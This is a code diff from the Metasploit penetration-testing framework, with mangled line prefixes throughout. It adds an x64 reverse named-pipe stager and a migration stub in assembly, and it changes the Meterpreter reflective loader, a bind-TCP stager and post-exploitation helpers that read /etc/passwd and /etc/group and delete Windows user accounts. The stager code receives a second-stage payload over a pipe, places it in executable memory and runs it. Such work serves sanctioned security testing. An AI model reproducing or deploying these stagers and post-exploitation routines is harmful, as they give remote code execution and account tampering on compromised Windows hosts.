push eax ; lpAddress
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||||
|
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
|
||||||
|
|
||||||
|
cleanup_file:
|
||||||
|
; clear up the named pipe handle
|
||||||
|
push edi ; named pipe handle
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
|
||||||
|
call ebp ; CloseHandle(...)
|
||||||
|
|
||||||
|
; restore the stack back to the connection retry count
|
||||||
|
pop esi
|
||||||
|
pop esi
|
||||||
|
pop esi
|
||||||
|
dec [esp] ; decrement the counter
|
||||||
|
|
||||||
|
; try again
|
||||||
|
jmp try_reverse_named_pipe
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
|
pop eax ; pop bytes read
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
read_successful:
|
||||||
|
add ebx, eax ; buffer += bytes_received
|
||||||
|
sub esi, eax ; length -= bytes_received, will set flags
|
||||||
|
jnz read_more ; continue if we have more to read
|
||||||
|
ret ; return into the second stage
|
||||||
|
^
|
||||||
|
|
||||||
|
if opts[:exitfunk]
|
||||||
|
asm << asm_exitfunk(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
asm
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -33,7 +33,7 @@ module Payload::Windows::BindTcp_x64
|
||||||
|
|
||||||
# Generate the more advanced stager if we have the space
|
# Generate the more advanced stager if we have the space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
conf[:reliable] = true
|
conf[:reliable] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -29,7 +29,7 @@ module Payload::Windows::MeterpreterLoader_x64
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Arch' => ARCH_X64,
|
'Arch' => ARCH_X64,
|
||||||
'PayloadCompat' => { 'Convention' => 'sockrdi' },
|
'PayloadCompat' => { 'Convention' => 'sockrdi handlerdi -https' },
|
||||||
'Stage' => { 'Payload' => "" }
|
'Stage' => { 'Payload' => "" }
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
@ -42,22 +42,23 @@ module Payload::Windows::MeterpreterLoader_x64
|
||||||
push rbp ; save rbp
|
push rbp ; save rbp
|
||||||
mov rbp, rsp ; set up a new stack frame
|
mov rbp, rsp ; set up a new stack frame
|
||||||
sub rsp, 32 ; allocate some space for calls.
|
sub rsp, 32 ; allocate some space for calls.
|
||||||
|
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||||
; GetPC
|
; GetPC
|
||||||
call $+5 ; relative call to get location
|
call $+5 ; relative call to get location
|
||||||
pop rbx ; pop return value
|
pop rbx ; pop return value
|
||||||
; Invoke ReflectiveLoader()
|
; Invoke ReflectiveLoader()
|
||||||
; add the offset to ReflectiveLoader()
|
; add the offset to ReflectiveLoader()
|
||||||
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
|
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x15)}
|
||||||
call rbx ; invoke ReflectiveLoader()
|
call rbx ; invoke ReflectiveLoader()
|
||||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
|
||||||
; offset from ReflectiveLoader() to the end of the DLL
|
; offset from ReflectiveLoader() to the end of the DLL
|
||||||
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||||
^
|
^
|
||||||
|
|
||||||
unless opts[:stageless]
|
unless opts[:stageless] || opts[:force_write_handle] == true
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
; store the comms socket handle
|
; store the comms socket or handle
|
||||||
mov dword ptr [rbx], edi
|
mov [rbx], rdi
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -79,13 +80,14 @@ module Payload::Windows::MeterpreterLoader_x64
|
||||||
|
|
||||||
# create the configuration block, which for staged connections is really simple.
|
# create the configuration block, which for staged connections is really simple.
|
||||||
config_opts = {
|
config_opts = {
|
||||||
arch: opts[:uuid].arch,
|
arch: opts[:uuid].arch,
|
||||||
exitfunk: ds['EXITFUNC'],
|
null_session_guid: opts[:null_session_guid] == true,
|
||||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
exitfunk: ds[:exit_func] || ds['EXITFUNC'],
|
||||||
uuid: opts[:uuid],
|
expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
|
||||||
transports: opts[:transport_config] || [transport_config(opts)],
|
uuid: opts[:uuid],
|
||||||
extensions: [],
|
transports: opts[:transport_config] || [transport_config(opts)],
|
||||||
stageless: opts[:stageless] == true
|
extensions: [],
|
||||||
|
stageless: opts[:stageless] == true
|
||||||
}
|
}
|
||||||
|
|
||||||
# create the configuration instance based off the parameters
|
# create the configuration instance based off the parameters
|
||||||
|
|
|
@ -3,3 +3,4 @@
|
||||||
require 'msf/core/payload/windows/x64/block_api'
|
require 'msf/core/payload/windows/x64/block_api'
|
||||||
require 'msf/core/payload/windows/x64/migrate_tcp'
|
require 'msf/core/payload/windows/x64/migrate_tcp'
|
||||||
require 'msf/core/payload/windows/x64/migrate_http'
|
require 'msf/core/payload/windows/x64/migrate_http'
|
||||||
|
require 'msf/core/payload/windows/x64/migrate_named_pipe'
|
||||||
|
|
|
@ -0,0 +1,47 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/windows/migrate_common'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Payload that supports migrating over Named Pipe transports on x64.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Windows::MigrateNamedPipe_x64
|
||||||
|
|
||||||
|
include Msf::Payload::Windows::MigrateCommon_x64
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Migrate over Named Pipe transport (x64)',
|
||||||
|
'Description' => 'Migration stub to use over Named Pipe transports (x64)',
|
||||||
|
'Author' => ['OJ Reeves'],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X64,
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate_migrate(opts = {})
|
||||||
|
%Q^
|
||||||
|
start_migrate_pipe:
|
||||||
|
mov rdi, qword [rsi+16] ; The duplicated pipe handle is in the migrate context.
|
||||||
|
signal_pipe_event:
|
||||||
|
mov rcx, qword [rsi] ; Event handle is pointed at by rsi
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
|
||||||
|
call rbp ; SetEvent(handle)
|
||||||
|
call_pipe_payload:
|
||||||
|
call qword [rsi+8] ; call the associated payload
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,283 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
require 'msf/core/payload/windows/x64/send_uuid'
|
||||||
|
require 'msf/core/payload/windows/x64/block_api'
|
||||||
|
require 'msf/core/payload/windows/x64/exitfunk'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex reverse_named_pipe payload generation for Windows ARCH_X86_64
|
||||||
|
# ###
|
||||||
|
|
||||||
|
module Payload::Windows::ReverseNamedPipe_x64
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
include Msf::Payload::Windows::SendUUID_x64
|
||||||
|
include Msf::Payload::Windows::BlockApi_x64
|
||||||
|
include Msf::Payload::Windows::Exitfunk_x64
|
||||||
|
|
||||||
|
#
|
||||||
|
# Register reverse_named_pipe specific options
|
||||||
|
#
|
||||||
|
def initialize(*args)
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the first stage
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
conf = {
|
||||||
|
name: datastore['PIPENAME'],
|
||||||
|
host: datastore['PIPEHOST'],
|
||||||
|
retry_count: datastore['ReverseConnectRetries'],
|
||||||
|
reliable: false
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate the advanced stager if we have space
|
||||||
|
unless self.available_space.nil? || required_space > self.available_space
|
||||||
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
|
conf[:reliable] = true
|
||||||
|
end
|
||||||
|
|
||||||
|
generate_reverse_named_pipe(conf)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# By default, we don't want to send the UUID, but we'll send
|
||||||
|
# for certain payloads if requested.
|
||||||
|
#
|
||||||
|
def include_send_uuid
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate and compile the stager
|
||||||
|
#
|
||||||
|
def generate_reverse_named_pipe(opts={})
|
||||||
|
combined_asm = %Q^
|
||||||
|
cld ; Clear the direction flag.
|
||||||
|
and rsp, ~0xF ; Ensure RSP is 16 byte aligned
|
||||||
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
|
#{asm_block_api}
|
||||||
|
start:
|
||||||
|
pop rbp ; block API pointer
|
||||||
|
#{asm_reverse_named_pipe(opts)}
|
||||||
|
^
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||||
|
end
|
||||||
|
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_named_pipe(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Determine the maximum amount of space required for the features requested
|
||||||
|
#
|
||||||
|
def required_space
|
||||||
|
# Start with our cached default generated size
|
||||||
|
space = cached_size
|
||||||
|
|
||||||
|
# EXITFUNK 'seh' is the worst case, that adds 15 bytes
|
||||||
|
space += 15
|
||||||
|
|
||||||
|
# Reliability adds bytes!
|
||||||
|
space += 57
|
||||||
|
|
||||||
|
space += uuid_required_size if include_send_uuid
|
||||||
|
|
||||||
|
# The final estimated size
|
||||||
|
space
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate an assembly stub with the configured feature set and options.
|
||||||
|
#
|
||||||
|
# @option opts [Fixnum] :port The port to connect to
|
||||||
|
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||||
|
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||||
|
#
|
||||||
|
def asm_reverse_named_pipe(opts={})
|
||||||
|
|
||||||
|
#reliable = opts[:reliable]
|
||||||
|
reliable = false
|
||||||
|
retry_count = [opts[:retry_count].to_i, 1].max
|
||||||
|
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
|
||||||
|
|
||||||
|
asm = %Q^
|
||||||
|
; Input: RBP must be the address of 'api_call'
|
||||||
|
; Output: RDI will be the handle to the named pipe.
|
||||||
|
|
||||||
|
retry_start:
|
||||||
|
push #{retry_count} ; retry counter
|
||||||
|
pop r14
|
||||||
|
|
||||||
|
; Func(rcx, rdx, r8, r9, stack ...)
|
||||||
|
try_reverse_named_pipe:
|
||||||
|
call get_pipe_name
|
||||||
|
db "#{full_pipe_name}", 0x00
|
||||||
|
get_pipe_name:
|
||||||
|
pop rcx ; lpFileName
|
||||||
|
; Start by setting up the call to CreateFile
|
||||||
|
push 0 ; alignment
|
||||||
|
push 0 ; hTemplateFile
|
||||||
|
push 0 ; dwFlagsAndAttributes
|
||||||
|
push 3 ; dwCreationDisposition (OPEN_EXISTING)
|
||||||
|
xor r9, r9 ; lpSecurityAttributes
|
||||||
|
xor r8, r8 ; dwShareMode
|
||||||
|
mov rdx, 0xC0000000 ; dwDesiredAccess(GENERIC_READ|GENERIC_WRITE)
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
|
||||||
|
call rbp ; CreateFileA(...)
|
||||||
|
|
||||||
|
; check for failure
|
||||||
|
cmp rax, -1 ; did it work?
|
||||||
|
jnz connected
|
||||||
|
|
||||||
|
handle_connect_failure:
|
||||||
|
dec r14 ; decrement the retry count
|
||||||
|
jnz retry_start
|
||||||
|
^
|
||||||
|
|
||||||
|
if opts[:exitfunk]
|
||||||
|
asm << %Q^
|
||||||
|
failure:
|
||||||
|
call exitfunk
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
|
failure:
|
||||||
|
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||||
|
call rbp
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
; this lable is required so that reconnect attempts include
|
||||||
|
; the UUID stuff if required.
|
||||||
|
connected:
|
||||||
|
xchg rdi, rax ; Save the file handler for later
|
||||||
|
^
|
||||||
|
asm << asm_write_uuid if include_send_uuid
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
; Receive the size of the incoming second stage...
|
||||||
|
push 0 ; buffer for lpNumberOfBytesRead
|
||||||
|
mov r9, rsp ; lpNumberOfBytesRead
|
||||||
|
push 0 ; buffer for lpBuffer
|
||||||
|
mov rsi, rsp ; lpNumberOfBytesRead
|
||||||
|
push 4 ; sizeof(DWORD)
|
||||||
|
pop r8 ; nNumberOfBytesToRead
|
||||||
|
push 0 ; alignment
|
||||||
|
push 0 ; lpOverlapped
|
||||||
|
mov rdx, rsi ; lpBuffer
|
||||||
|
mov rcx, rdi ; hFile
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||||
|
call rbp ; ReadFile(...)
|
||||||
|
^
|
||||||
|
|
||||||
|
if reliable
|
||||||
|
asm << %Q^
|
||||||
|
; reliability: check to see if the received worked, and reconnect
|
||||||
|
; if it fails
|
||||||
|
test eax, eax
|
||||||
|
jz cleanup_file
|
||||||
|
mov rax, [rsi+8]
|
||||||
|
test eax, eax
|
||||||
|
jz cleanup_file
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
|
||||||
|
; Alloc a RWX buffer for the second stage
|
||||||
|
add rsp, 0x30 ; slight stack adjustment
|
||||||
|
pop rsi ; pop off the second stage length
|
||||||
|
pop rax ; line the stack up again
|
||||||
|
mov esi, esi ; only use the lower-order 32 bits for the size
|
||||||
|
push 0x40 ;
|
||||||
|
pop r9 ; PAGE_EXECUTE_READWRITE
|
||||||
|
push 0x1000 ;
|
||||||
|
pop r8 ; MEM_COMMIT
|
||||||
|
mov rdx, rsi ; the newly recieved second stage length.
|
||||||
|
xor rcx, rcx ; NULL as we dont care where the allocation is.
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||||
|
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
; Receive the second stage and execute it...
|
||||||
|
mov rbx, rax ; rbx = our new memory address for the new stage
|
||||||
|
mov r15, rax ; save the address so we can jump into it later
|
||||||
|
|
||||||
|
read_more:
|
||||||
|
; prepare the size min(0x10000, esi)
|
||||||
|
mov r8, 0x10000 ; stupid named pipe buffer limit
|
||||||
|
cmp r8, rsi
|
||||||
|
jle size_is_good
|
||||||
|
mov r8, rsi
|
||||||
|
|
||||||
|
size_is_good:
|
||||||
|
; Invoke a read
|
||||||
|
push 0 ; buffer for lpNumberOfBytesRead
|
||||||
|
mov r9, rsp ; lpNumberOfBytesRead
|
||||||
|
mov rdx, rbx ; lpBuffer
|
||||||
|
push 0 ; lpOverlapped
|
||||||
|
mov rcx, rdi ; hFile
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||||
|
call rbp ; ReadFile(...)
|
||||||
|
add rsp, 0x28 ; slight stack adjustment
|
||||||
|
^
|
||||||
|
|
||||||
|
if reliable
|
||||||
|
asm << %Q^
|
||||||
|
; reliability: check to see if the read worked
|
||||||
|
; if it fails
|
||||||
|
test eax, eax
|
||||||
|
jnz read_successful
|
||||||
|
|
||||||
|
; something failed so free up memory
|
||||||
|
pop rax
|
||||||
|
push r15
|
||||||
|
pop rcx ; lpAddress
|
||||||
|
push 0x4000 ; MEM_DECOMMIT
|
||||||
|
pop r8 ; dwFreeType
|
||||||
|
push 0 ; 0
|
||||||
|
pop rdx ; dwSize
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||||
|
call rbp ; VirtualFree(payload, 0, MEM_DECOMMIT)
|
||||||
|
|
||||||
|
cleanup_file:
|
||||||
|
; clean up the socket
|
||||||
|
push rdi ; file handle
|
||||||
|
pop rcx ; hFile
|
||||||
|
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
|
||||||
|
call rbp
|
||||||
|
|
||||||
|
; and try again
|
||||||
|
dec r14 ; decrement the retry count
|
||||||
|
jmp retry_start
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
read_successful:
|
||||||
|
pop rax
|
||||||
|
add rbx, rax ; buffer += bytes_received
|
||||||
|
sub rsi, rax ; length -= bytes_received
|
||||||
|
test rsi, rsi ; test length
|
||||||
|
jnz read_more ; continue if we have more to read
|
||||||
|
jmp r15 ; return into the second stage
|
||||||
|
^
|
||||||
|
|
||||||
|
if opts[:exitfunk]
|
||||||
|
asm << asm_exitfunk(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
asm
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -40,14 +40,17 @@ module Msf::Post::Unix
|
||||||
#
|
#
|
||||||
def get_groups
|
def get_groups
|
||||||
groups = []
|
groups = []
|
||||||
cmd_out = read_file("/etc/group").split("\n")
|
group = '/etc/group'
|
||||||
cmd_out.each do |l|
|
if file_exist?(group)
|
||||||
entry = {}
|
cmd_out = read_file(group).split("\n")
|
||||||
user_field = l.split(":")
|
cmd_out.each do |l|
|
||||||
entry[:name] = user_field[0]
|
entry = {}
|
||||||
entry[:gid] = user_field[2]
|
user_field = l.split(":")
|
||||||
entry[:users] = user_field[3]
|
entry[:name] = user_field[0]
|
||||||
groups << entry
|
entry[:gid] = user_field[2]
|
||||||
|
entry[:users] = user_field[3]
|
||||||
|
groups << entry
|
||||||
|
end
|
||||||
end
|
end
|
||||||
return groups
|
return groups
|
||||||
end
|
end
|
||||||
|
@ -59,8 +62,11 @@ module Msf::Post::Unix
|
||||||
user_dirs = []
|
user_dirs = []
|
||||||
|
|
||||||
# get all user directories from /etc/passwd
|
# get all user directories from /etc/passwd
|
||||||
read_file("/etc/passwd").each_line do |passwd_line|
|
passwd = '/etc/passwd'
|
||||||
user_dirs << passwd_line.split(/:/)[5]
|
if file_exist?(passwd)
|
||||||
|
read_file(passwd).each_line do |passwd_line|
|
||||||
|
user_dirs << passwd_line.split(/:/)[5]
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# also list other common places for home directories in the event that
|
# also list other common places for home directories in the event that
|
||||||
|
|
|
@ -3,336 +3,342 @@
|
||||||
require 'msf/core/post/windows/error'
|
require 'msf/core/post/windows/error'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
class Post
|
class Post
|
||||||
module Windows
|
module Windows
|
||||||
|
module Accounts
|
||||||
|
include Msf::Post::Windows::Error
|
||||||
|
|
||||||
module Accounts
|
GUID = [
|
||||||
include Msf::Post::Windows::Error
|
['Data1', :DWORD],
|
||||||
|
['Data2', :WORD],
|
||||||
|
['Data3', :WORD],
|
||||||
|
['Data4', 'BYTE[8]']
|
||||||
|
].freeze
|
||||||
|
|
||||||
GUID = [
|
DOMAIN_CONTROLLER_INFO = [
|
||||||
['Data1',:DWORD],
|
['DomainControllerName', :LPSTR],
|
||||||
['Data2',:WORD],
|
['DomainControllerAddress', :LPSTR],
|
||||||
['Data3',:WORD],
|
['DomainControllerAddressType', :ULONG],
|
||||||
['Data4','BYTE[8]']
|
['DomainGuid', GUID],
|
||||||
]
|
['DomainName', :LPSTR],
|
||||||
|
['DnsForestName', :LPSTR],
|
||||||
|
['Flags', :ULONG],
|
||||||
|
['DcSiteName', :LPSTR],
|
||||||
|
['ClientSiteName', :LPSTR]
|
||||||
|
].freeze
|
||||||
|
|
||||||
DOMAIN_CONTROLLER_INFO = [
|
##
|
||||||
['DomainControllerName',:LPSTR],
|
# get_domain(server_name = nil)
|
||||||
['DomainControllerAddress',:LPSTR],
|
#
|
||||||
['DomainControllerAddressType',:ULONG],
|
# Summary:
|
||||||
['DomainGuid',GUID],
|
# Retrieves the current DomainName the given server is
|
||||||
['DomainName',:LPSTR],
|
# a member of.
|
||||||
['DnsForestName',:LPSTR],
|
#
|
||||||
['Flags',:ULONG],
|
# Parameters
|
||||||
['DcSiteName',:LPSTR],
|
# server_name - DNS or NetBIOS name of the remote server
|
||||||
['ClientSiteName',:LPSTR]
|
# Returns:
|
||||||
]
|
# The DomainName of the remote server or nil if windows
|
||||||
|
# could not retrieve the DomainControllerInfo or encountered
|
||||||
|
# an exception.
|
||||||
|
#
|
||||||
|
##
|
||||||
|
def get_domain(server_name = nil)
|
||||||
|
domain = nil
|
||||||
|
result = session.railgun.netapi32.DsGetDcNameA(
|
||||||
|
server_name,
|
||||||
|
nil,
|
||||||
|
nil,
|
||||||
|
nil,
|
||||||
|
0,
|
||||||
|
4
|
||||||
|
)
|
||||||
|
|
||||||
##
|
begin
|
||||||
# get_domain(server_name=nil)
|
dc_info_addr = result['DomainControllerInfo']
|
||||||
#
|
unless dc_info_addr == 0
|
||||||
# Summary:
|
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
|
||||||
# Retrieves the current DomainName the given server is
|
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
|
||||||
# a member of.
|
domain = session.railgun.util.read_string(pointer)
|
||||||
#
|
end
|
||||||
# Parameters
|
ensure
|
||||||
# server_name - DNS or NetBIOS name of the remote server
|
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
|
||||||
# Returns:
|
end
|
||||||
# The DomainName of the remote server or nil if windows
|
|
||||||
# could not retrieve the DomainControllerInfo or encountered
|
|
||||||
# an exception.
|
|
||||||
#
|
|
||||||
##
|
|
||||||
def get_domain(server_name=nil)
|
|
||||||
domain = nil
|
|
||||||
result = session.railgun.netapi32.DsGetDcNameA(
|
|
||||||
server_name,
|
|
||||||
nil,
|
|
||||||
nil,
|
|
||||||
nil,
|
|
||||||
0,
|
|
||||||
4)
|
|
||||||
|
|
||||||
begin
|
domain
|
||||||
dc_info_addr = result['DomainControllerInfo']
|
end
|
||||||
unless dc_info_addr == 0
|
|
||||||
dc_info = session.railgun.util.read_data(DOMAIN_CONTROLLER_INFO, dc_info_addr)
|
|
||||||
pointer = session.railgun.util.unpack_pointer(dc_info['DomainName'])
|
|
||||||
domain = session.railgun.util.read_string(pointer)
|
|
||||||
end
|
|
||||||
ensure
|
|
||||||
session.railgun.netapi32.NetApiBufferFree(dc_info_addr)
|
|
||||||
end
|
|
||||||
|
|
||||||
domain
|
##
|
||||||
end
|
# delete_user(username, server_name = nil)
|
||||||
|
#
|
||||||
|
# Summary:
|
||||||
|
# Deletes a user account from the given server (or local if none given)
|
||||||
|
#
|
||||||
|
# Parameters
|
||||||
|
# username - The username of the user to delete (not-qualified, e.g. BOB)
|
||||||
|
# server_name - DNS or NetBIOS name of remote server on which to delete user
|
||||||
|
#
|
||||||
|
# Returns:
|
||||||
|
# One of the following:
|
||||||
|
# :success - Everything went as planned
|
||||||
|
# :invalid_server - The server name provided was invalid
|
||||||
|
# :not_on_primary - Operation allowed only on domain controller
|
||||||
|
# :user_not_found - User specified does not exist on the given server
|
||||||
|
# :access_denied - You do not have permission to delete the given user
|
||||||
|
#
|
||||||
|
# OR nil if there was an exceptional Windows error (example: ran out of memory)
|
||||||
|
#
|
||||||
|
# Caveats:
|
||||||
|
# nil is returned if there is an *exceptional* Windows error. That error is printed.
|
||||||
|
# Everything other than ':success' signifies failure
|
||||||
|
##
|
||||||
|
def delete_user(username, server_name = nil)
|
||||||
|
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
|
||||||
|
|
||||||
##
|
# http://msdn.microsoft.com/en-us/library/aa370674.aspx
|
||||||
# delete_user(username, server_name = nil)
|
case deletion['return']
|
||||||
#
|
when 2221 # NERR_UserNotFound
|
||||||
# Summary:
|
return :user_not_found
|
||||||
# Deletes a user account from the given server (or local if none given)
|
when 2351 # NERR_InvalidComputer
|
||||||
#
|
return :invalid_server
|
||||||
# Parameters
|
when 2226 # NERR_NotPrimary
|
||||||
# username - The username of the user to delete (not-qualified, e.g. BOB)
|
return :not_on_primary
|
||||||
# server_name - DNS or NetBIOS name of remote server on which to delete user
|
when client.railgun.const('ERROR_ACCESS_DENIED')
|
||||||
#
|
return :access_denied
|
||||||
# Returns:
|
when 0
|
||||||
# One of the following:
|
return :success
|
||||||
# :success - Everything went as planned
|
else
|
||||||
# :invalid_server - The server name provided was invalid
|
error = deletion['GetLastError']
|
||||||
# :not_on_primary - Operation allowed only on domain controller
|
if error != 0
|
||||||
# :user_not_found - User specified does not exist on the given server
|
print_error "Unexpected Windows System Error #{error}"
|
||||||
# :access_denied - You do not have permission to delete the given user
|
else
|
||||||
#
|
# Uh... we shouldn't be here
|
||||||
# OR nil if there was an exceptional windows error (example: ran out of memory)
|
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
|
||||||
#
|
end
|
||||||
# Caveats:
|
end
|
||||||
# nil is returned if there is an *exceptional* windows error. That error is printed.
|
|
||||||
# Everything other than ':success' signifies failure
|
|
||||||
##
|
|
||||||
def delete_user(username, server_name = nil)
|
|
||||||
deletion = client.railgun.netapi32.NetUserDel(server_name, username)
|
|
||||||
|
|
||||||
#http://msdn.microsoft.com/en-us/library/aa370674.aspx
|
# If we got here, then something above failed
|
||||||
case deletion['return']
|
nil
|
||||||
when 2221 # NERR_UserNotFound
|
end
|
||||||
return :user_not_found
|
|
||||||
when 2351 # NERR_InvalidComputer
|
|
||||||
return :invalid_server
|
|
||||||
when 2226 # NERR_NotPrimary
|
|
||||||
return :not_on_primary
|
|
||||||
when client.railgun.const('ERROR_ACCESS_DENIED')
|
|
||||||
return :access_denied
|
|
||||||
when 0
|
|
||||||
return :success
|
|
||||||
else
|
|
||||||
error = deletion['GetLastError']
|
|
||||||
if error != 0
|
|
||||||
print_error "Unexpected Windows System Error #{error}"
|
|
||||||
else
|
|
||||||
# Uh... we shouldn't be here
|
|
||||||
print_error "DeleteUser unexpectedly returned #{deletion['return']}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# If we got here, then something above failed
|
##
|
||||||
return nil
|
# resolve_sid(sid, system_name = nil)
|
||||||
end
|
#
|
||||||
|
# Summary:
|
||||||
|
# Retrieves the name, domain, and type of account for the given sid
|
||||||
|
#
|
||||||
|
# Parameters:
|
||||||
|
# sid - A SID string (e.g. S-1-5-32-544)
|
||||||
|
# system_name - Where to search. If nil, first local system then trusted DCs
|
||||||
|
#
|
||||||
|
# Returns:
|
||||||
|
# {
|
||||||
|
# name: account name (e.g. "SYSTEM")
|
||||||
|
# domain: domain where the account name was found. May have values such as
|
||||||
|
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
|
||||||
|
# type: one of :user, :group, :domain, :alias, :well_known_group,
|
||||||
|
# :deleted_account, :invalid, :unknown, :computer
|
||||||
|
# mapped: There was a mapping found for the SID
|
||||||
|
# }
|
||||||
|
#
|
||||||
|
# OR nil if there was an exceptional Windows error (example: ran out of memory)
|
||||||
|
#
|
||||||
|
# Caveats:
|
||||||
|
# If a valid mapping is not found, only { mapped: false } will be returned
|
||||||
|
# nil is returned if there is an *exceptional* Windows error. That error is printed.
|
||||||
|
# If an invalid system_name is provided, there will be a Windows error and nil returned
|
||||||
|
##
|
||||||
|
def resolve_sid(sid, system_name = nil)
|
||||||
|
adv = client.railgun.advapi32
|
||||||
|
|
||||||
|
# Second param is the size of the buffer where the pointer will be written
|
||||||
|
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
|
||||||
|
conversion = adv.ConvertStringSidToSidA(sid, 4)
|
||||||
|
|
||||||
##
|
# If the call failed, handle errors accordingly.
|
||||||
# resolve_sid(sid, system_name = nil)
|
unless conversion['return']
|
||||||
#
|
error = conversion['GetLastError']
|
||||||
# Summary:
|
|
||||||
# Retrieves the name, domain, and type of account for the given sid
|
|
||||||
#
|
|
||||||
# Parameters:
|
|
||||||
# sid - A SID string (e.g. S-1-5-32-544)
|
|
||||||
# system_name - Where to search. If nil, first local system then trusted DCs
|
|
||||||
#
|
|
||||||
# Returns:
|
|
||||||
# {
|
|
||||||
# :name => account name (e.g. "SYSTEM")
|
|
||||||
# :domain => domain where the account name was found. May have values such as
|
|
||||||
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
|
|
||||||
# :type => one of :user, :group, :domain, :alias, :well_known_group,
|
